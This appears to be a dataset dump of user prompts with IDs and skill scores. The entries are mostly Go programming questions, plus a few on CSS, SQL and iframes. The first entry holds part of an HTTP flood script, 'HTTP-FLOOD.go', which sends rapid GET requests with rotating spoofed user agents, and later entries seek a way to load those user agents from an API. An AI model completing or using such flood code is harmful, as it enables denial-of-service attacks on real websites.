randNum := strconv.Itoa(rand.Int());
url := "127.0.0.1:8080/dstat/" + "?page=" + randNum
UA := UAs[rand.Intn(len(UAs))]
req, _ := http.NewRequest("GET", url, nil)
req.Header.Set("User-Agent", UA)
http.DefaultClient.Do(req)
}
}
func main() {
userAgents := []string{
"Dalvik/1.6.0 (Linux; U; Android 4.1.1; NX008HD8G Build/JRO03C)",
"Mozilla/5.0 (Linux; Android 10; SM-A107F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4168.1 Safari/537.36",
"Dalvik/1.6.0 (Linux; U; Android 4.2.2; CX_718 Build/JDQ39)",
"Mozilla/5.0 (Linux; Android 8.1.0; C210AE Build/O11019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/68.0.3440.91 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 6.0; Lenovo TB3-850M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.101 Safari/537.36",
"Mozilla/5.0 (Linux; Android 9; Redmi Note 8T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.110 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 7.0; itel S41) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Mobile Safari/537.36",
"Dalvik/2.1.0 (Linux; U; Android 10; 706SH Build/S2005)",
"Mozilla/5.0 (Linux; arm; Android 9; SM-J415FN) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 YaApp_Android/10.92 YaSearchBrowser/10.92 BroPP/1.0 SA/1 Mobile Safari/537.36",
}
threads := 1 // Localhost - 3
duration := 10
startTime := int(time.Now())
for i := 0; i < threads - 1; i++ {
go httpFlood(userAgents, duration, startTime)
}
httpFlood(userAgents, duration, startTime)
};
# command-line-arguments
.\HTTP-FLOOD.go:11:10: cannot convert time.Now() (value of type time.Time) to type int
.\HTTP-FLOOD.go:45:19: cannot convert time.Now() (value of type time.Time) to type int | 95b348f45253e9122a6238c14aeb4c3f | {
"intermediate": 0.4266377389431,
"beginner": 0.373264342546463,
"expert": 0.20009785890579224
} |
17,667 | how can I get the json responce from the api?
func getUserAgents() {
url := "http://127.0.0.1:5000/api/get_ua"
req, _ := http.NewRequest("GET", url, nil)
resp, _ := http.DefaultClient.Do(req)
fmt.Println(resp.)
} | a0ca9c0564800f3b77b0c8b456fcb42e | {
"intermediate": 0.6475242972373962,
"beginner": 0.20725174248218536,
"expert": 0.14522399008274078
} |
17,668 | Based on the response you provided, the format of the JSON is as follows:
{
“user_agents”: [
“Mozilla/5.0 (Linux; Android 6.0.1; vivo 1610 Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/100.0.4896.127 Mobile Safari/537.36”,
“Mozilla/5.0 (Linux; Android 10; Redmi Note 8 Pro Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/100.0.4896.127 Mobile Safari/537.36 OcIdWebView ({\x22os\x22:\x22Android\x22,\x22osVersion\x22:\x2229\x22,\x22app\x22:\x22com.google.android.gms\x22,\x22appVersion\x22:\x22219\x22,\x22style\x22:2,\x22isDarkTheme\x22:false})”,
…
]
}
To access the “user_agents” array in the JSON response, you can use the following code:
package main
import (
“encoding/json”
“fmt”
“log”
“net/http”
)
type Response struct {
UserAgents []string json:"user_agents"
}
func getUserAgents() {
url := “http://localhost:5000/api/get_ua”
resp, err := http.Get(url)
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
var response Response
err = json.NewDecoder(resp.Body).Decode(&response)
if err != nil {
log.Fatal(err)
}
for _, ua := range response.UserAgents {
fmt.Println(ua)
}
}
func main() {
getUserAgents()
}
In this example, I introduced a new Response struct with a field UserAgents of type []string. The json:"user_agents" tag is used to match the field name in the JSON response.
The for loop then iterates over the UserAgents slice and prints each user agent.
Please
I wanna store that user_agents responce as an array of strings please, heres an example of my hardcoded one so I dont have to spend time changing the code:
userAgents := []string{
“Dalvik/1.6.0 (Linux; U; Android 4.1.1; NX008HD8G Build/JRO03C)”,
“Mozilla/5.0 (Linux; Android 10; SM-A107F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36”,
“Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4168.1 Safari/537.36”,
“Dalvik/1.6.0 (Linux; U; Android 4.2.2; CX_718 Build/JDQ39)”,
“Mozilla/5.0 (Linux; Android 8.1.0; C210AE Build/O11019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/68.0.3440.91 Mobile Safari/537.36”,
“Mozilla/5.0 (Linux; Android 6.0; Lenovo TB3-850M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.101 Safari/537.36”,
“Mozilla/5.0 (Linux; Android 9; Redmi Note 8T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.110 Mobile Safari/537.36”,
“Mozilla/5.0 (Linux; Android 7.0; itel S41) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Mobile Safari/537.36”,
“Dalvik/2.1.0 (Linux; U; Android 10; 706SH Build/S2005)”,
“Mozilla/5.0 (Linux; arm; Android 9; SM-J415FN) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 YaApp_Android/10.92 YaSearchBrowser/10.92 BroPP/1.0 SA/1 Mobile Safari/537.36”,
} | f8b970a113d011332abddb980be3b230 | {
"intermediate": 0.3369629383087158,
"beginner": 0.314968466758728,
"expert": 0.34806859493255615
} |
17,669 | best quotex stratergy to win | 511f118b5ab14fecba064fd512f9b6e5 | {
"intermediate": 0.19392827153205872,
"beginner": 0.5853502154350281,
"expert": 0.2207215279340744
} |
17,670 | write a javscript script that creates small iframes (around 250 pixels in widht) for a list of websites | d7a4ee75b77fa5970291e7dc68ef2843 | {
"intermediate": 0.5406407117843628,
"beginner": 0.13257752358913422,
"expert": 0.3267817199230194
} |
17,671 | need css to make all font color be white | 03afc3ec2b5e17f96ca4fc832f2300a6 | {
"intermediate": 0.4214910566806793,
"beginner": 0.28349965810775757,
"expert": 0.2950092852115631
} |
17,672 | need css to force all text color be white | 4d28585241e80ed92847d7f613212c9b | {
"intermediate": 0.4526956379413605,
"beginner": 0.2911950349807739,
"expert": 0.2561093270778656
} |
17,673 | how can I make an ssh app in go? by ssh app i mean a cli app that runs when you connect to a server via ssh | a47f14780f597b30e686411fd2b1bed2 | {
"intermediate": 0.4717984199523926,
"beginner": 0.242100790143013,
"expert": 0.2861008048057556
} |
17,674 | create table statistic (id int, date datetime, stat int)
insert into statistic values (1, '2023-01-01', 100),(1, '2023-01-03', 100),(1, '2023-01-05', 100),
(1, '2023-01-07', 150),(1, '2023-01-09', 150),(1, '2023-02-01', 150),
(1, '2023-02-02', 100),(1, '2023-02-12', 100),(1, '2023-02-15', 100),
(1, '2023-02-17', 150),(1, '2023-03-09', 150),(1, '2023-03-11', 150),
(2, '2023-01-01', 100),(2, '2023-01-03', 100),(2, '2023-01-05', 100),
(2, '2023-01-07', 150),(2, '2023-01-09', 150),(2, '2023-02-01', 150),
(2, '2023-02-02', 100),(2, '2023-02-12', 100),(2, '2023-02-15', 100),
(2, '2023-02-17', 150),(2, '2023-03-09', 150),(2, '2023-03-11', 150)
select id, date, stat from statistic bring information where change is happening | 53e8070da27607f188cae8b9c29da1ff | {
"intermediate": 0.3954729735851288,
"beginner": 0.34989631175994873,
"expert": 0.2546306848526001
} |
17,675 | return {
...state,
messages: {
...state.messages,
[state.selectedId]: action.message,
},
};
why can the last property of an object followed by a comma | 724daae0892958f989261f0670bb2843 | {
"intermediate": 0.29580944776535034,
"beginner": 0.4550178349018097,
"expert": 0.24917273223400116
} |
17,676 | in c++ wxwidgets 3.1.4, how to get the column data from a column label string in a wxgrid from a specific row | 5293a07aa0210fc25d63251a81fb15fe | {
"intermediate": 0.6944053769111633,
"beginner": 0.1416362226009369,
"expert": 0.16395841538906097
} |
17,677 | use https://github.com/gliderlabs/ssh (NOT crypto/ssh) and make a basic app, here’s the requirements:
Login which checks against a list of usernames and passwords
welcome message with the username
three commands:
‘help’ - shows all commands including this one with descriptions
‘whoami’ - displays your username
‘clear’ - clears screen and displaays welcome message
I also want the prompt to include the users name in this format:
[user@cartel]~$ | 118de027b212c9bb526b9427589276c7 | {
"intermediate": 0.3951452672481537,
"beginner": 0.1704021394252777,
"expert": 0.434452623128891
} |
17,678 | use https://github.com/gliderlabs/ssh and make a basic app, here’s the requirements:
Login which checks against a list of usernames and passwords
welcome message with the username
three commands:
‘help’ - shows all commands including this one with descriptions
‘whoami’ - displays your username
‘clear’ - clears screen and displaays welcome message
I also want the prompt to include the users name in this format:
[user@cartel]~$ | 261c6c20abdfc4e1b275aa9777469f7c | {
"intermediate": 0.39534202218055725,
"beginner": 0.17118002474308014,
"expert": 0.43347790837287903
} |
17,679 | use https://github.com/gliderlabs/ssh and make a basic app, here’s the requirements:
Login which checks against a list of usernames and passwords
welcome message with the username
three commands:
‘help’ - shows all commands including this one with descriptions
‘whoami’ - displays your username
‘clear’ - clears screen and displaays welcome message
I also want the prompt to include the users name in this format:
[user@cartel]~$
remember, use https://github.com/gliderlabs/ssh. plese do not use the crypto library | a78df093c667bc31c9e2edf6f402ca94 | {
"intermediate": 0.6159527897834778,
"beginner": 0.1450936496257782,
"expert": 0.2389535754919052
} |
17,680 | use github.com/gliderlabs/ssh and the io libraries and make an ssh app that has a l ogin page where the username and password are checked against a list of usernames and passwords,
once logged in it welcomes the user by username to "cartel" and displays a prompt like the following to the user:
[username@cartel]~$
it has a help command, whoami command, and clear command
help - displays all commands with a description, including this one
whoami - displays username
clear clears the screen entirely | 2ff02903881e9474a0cde6fb99f6d85f | {
"intermediate": 0.44088536500930786,
"beginner": 0.24261510372161865,
"expert": 0.3164994716644287
} |
17,681 | use github.com/gliderlabs/ssh and the io libraries and make an ssh app that has a l ogin page where the username and password are checked against a list of usernames and passwords,
once logged in it welcomes the user by username to "cartel" and displays a prompt like the following to the user:
[username@cartel]~$
it has a help command, whoami command, and clear command
help - displays all commands with a description, including this one
whoami - displays username
clear clears the screen entirely | 12c006e616576686a853f2b44e5140d6 | {
"intermediate": 0.44088536500930786,
"beginner": 0.24261510372161865,
"expert": 0.3164994716644287
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.